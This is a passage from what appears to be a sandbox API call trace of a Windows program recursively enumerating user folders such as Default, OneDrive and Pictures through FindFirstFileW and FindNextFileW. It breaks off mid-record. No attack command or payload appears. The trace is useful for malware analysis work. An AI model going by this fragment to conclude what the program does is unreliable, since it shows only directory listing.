dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.858] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.858] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0211.858] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*" (normalized: "c:\\users\\default\\sendto\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.863] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0211.863] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*" (normalized: "c:\\users\\default\\sendto\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.867] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0211.867] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*" (normalized: "c:\\users\\default\\start menu\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.870] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0211.870] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*" (normalized: "c:\\users\\default\\start menu\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.873] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0211.873] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*" (normalized: "c:\\users\\default\\templates\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0212.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.065] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0212.065] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*" (normalized: "c:\\users\\default\\templates\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0212.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.068] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0212.068] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0212.069] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.069] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0212.069] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0212.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.069] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0212.069] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*" (normalized: "c:\\users\\default\\videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0212.070] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.070] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0212.070] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0212.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.071] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\My Documents", lpFilePart=0x0) returned 0x22 [0212.071] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\my documents\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.074] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\My Documents", lpFilePart=0x0) returned 0x22 [0212.074] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\My Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\my documents\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.078] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\NetHood", lpFilePart=0x0) returned 0x1d [0212.078] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\nethood\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.081] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\NetHood", lpFilePart=0x0) returned 0x1d [0212.081] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\NetHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\nethood\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0212.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.084] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\OneDrive", lpFilePart=0x0) returned 0x1e [0212.084] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\onedrive\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0212.085] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.085] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.085] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.086] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0212.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.086] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\OneDrive", lpFilePart=0x0) returned 0x1e [0212.086] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\OneDrive\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\onedrive\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.379] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.380] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.380] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x84aeda3c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0212.380] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.383] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures", lpFilePart=0x0) returned 0x1e [0212.383] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0212.383] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.384] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9P_6rEVfGnXnSm82lDn", cAlternateFileName="9P_6RE~1")) returned 1 [0212.384] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0212.384] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9493720, ftCreationTime.dwHighDateTime=0x1d9af80, ftLastAccessTime.dwLowDateTime=0xa8aa09d0, ftLastAccessTime.dwHighDateTime=0x1d9b092, ftLastWriteTime.dwLowDateTime=0xa8aa09d0, ftLastWriteTime.dwHighDateTime=0x1d9b092, nFileSizeHigh=0x0, nFileSizeLow=0x16758, dwReserved0=0x0, dwReserved1=0x0, cFileName="cFrK-oXuE.bmp", cAlternateFileName="CFRK-O~1.BMP")) returned 1 [0212.384] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.385] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6615ae40, ftCreationTime.dwHighDateTime=0x1d9ab5f, ftLastAccessTime.dwLowDateTime=0x66312200, ftLastAccessTime.dwHighDateTime=0x1d9b1a0, ftLastWriteTime.dwLowDateTime=0x66312200, ftLastWriteTime.dwHighDateTime=0x1d9b1a0, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie76BgazzoLN.jpg", cAlternateFileName="IE76BG~1.JPG")) returned 1 [0212.385] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e98920, ftCreationTime.dwHighDateTime=0x1d9a8a3, ftLastAccessTime.dwLowDateTime=0xc411bff0, ftLastAccessTime.dwHighDateTime=0x1d9af12, ftLastWriteTime.dwLowDateTime=0xc411bff0, ftLastWriteTime.dwHighDateTime=0x1d9af12, nFileSizeHigh=0x0, nFileSizeLow=0x13479, dwReserved0=0x0, dwReserved1=0x0, cFileName="QlFpkp5RF.bmp", cAlternateFileName="QLFPKP~1.BMP")) returned 1 [0212.385] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qsI Hf", cAlternateFileName="QSIHF~1")) returned 1 [0212.385] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: 